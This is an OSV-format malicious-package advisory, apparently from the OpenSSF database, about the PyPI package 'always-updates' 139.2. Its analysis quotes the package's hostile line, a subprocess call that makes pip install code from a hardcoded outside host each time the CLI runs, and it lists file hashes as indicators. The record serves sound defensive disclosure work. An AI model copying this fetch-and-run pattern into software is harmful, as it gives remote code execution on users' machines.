{"id":"MAL-2026-3685","summary":"Malicious code in always-updates (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (dee16a964c16035579f7be2f965a801f87876080603f389e1e75ec3073bd5c2c)\nThe package's sole advertised CLI (`aupd`, registered as a console_scripts entry point to always_updates.__main__:main) executes `subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'https://aupd.19700101t000000z.com'])` (always_updates/__main__.py lines 7 and 16). Running the documented command causes pip to download and install an arbitrary Python distribution from a hardcoded author-controlled endpoint: no version pin, no hash/signature verification, destination is not PyPI nor a documented publisher CDN. Because `pip install \u003curl\u003e` executes the downloaded package's setup.py, this is arbitrary remote code execution against the installer's machine by design, with attacker-mutable content served from the author's host. Corroborating soft signals: the endpoint hostname `aupd.19700101t000000z.com` is an anonymously-registered epoch-zero domain, the author email (`alwaysupdates@sixsixsigma.com`) and referenced GitHub org look theatrical/placeholder — matching the generic-placeholder-metadata-plus-network shape. The harm fires when the user runs the CLI, not at `pip install` time, but the package's entire advertised purpose is to fetch-and-execute whatever the author-controlled server returns; every invocation is a new, unverified remote payload.\n","modified":"2026-05-13T20:22:39.066831Z","published":"2026-05-12T19:16:19Z","database_specific":{"malicious-packages-origins":[{"modified_time":"2026-05-12T19:16:19Z","sha256":"dee16a964c16035579f7be2f965a801f87876080603f389e1e75ec3073bd5c2c","source":"amazon-inspector","versions":["139.2"],"id":"IN-MAL-2026-002555","import_time":"2026-05-13T20:10:59.760599568Z"}]},"references":[{"type":"PACKAGE","url":"https://pypi.org/project/always-updates/139.2/"}],"affected":[{"package":{"name":"always-updates","ecosystem":"PyPI","purl":"pkg:pypi/always-updates"},"versions":["139.2"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"package_integrity":[{"filename":"always_updates-139.2-py3-none-any.whl","hashes":{"blake2b_256":"89c989b28701d727c2177dc93f0c5d7ca73951d8b03dc5a20352900b009dbbf8","md5":"e21702fbbd74c60b956d52969c5c6639","sha256":"11284aba27e2ab94d50f1d85b5f80cbf8aa102fa3b60e62a98bfc4a7b9bc44ca"}},{"hashes":{"blake2b_256":"fecdea5edfd7bf83d1e0757eb4d8e8a708974164327f0fbaa1b30ae5145cb81b","md5":"a2ae7db28ce53008dda503d91ab41b8a","sha256":"631da6291e5ed8b158fb1827977fd209cd882da91232d94a819342c4d0291338"},"filename":"always_updates-139.2.tar.gz"}],"evidence_files":[{"tlsh":"4ee0c0a7424700049c6499b8b38430935be2602d6f46ddb4a169ca3c0be705fbf08ebe","path":"always_updates/__main__.py","sha256":"41926ba3ab6a5335b3be12df05459f9a7ec53e15d8fa17b62e48b12934dfc5e1"},{"sha256":"deb7b4ecb95e2178bafdfef2a5b73ff6d3db9db6618ebd141e37eb10f150d71d","tlsh":"342112ef4971a5307aa5d188bc1fe4293323f4526e2088d1f1fc0164a3d95b61f6da2e","path":"setup.py"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/always-updates/MAL-2026-3685.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}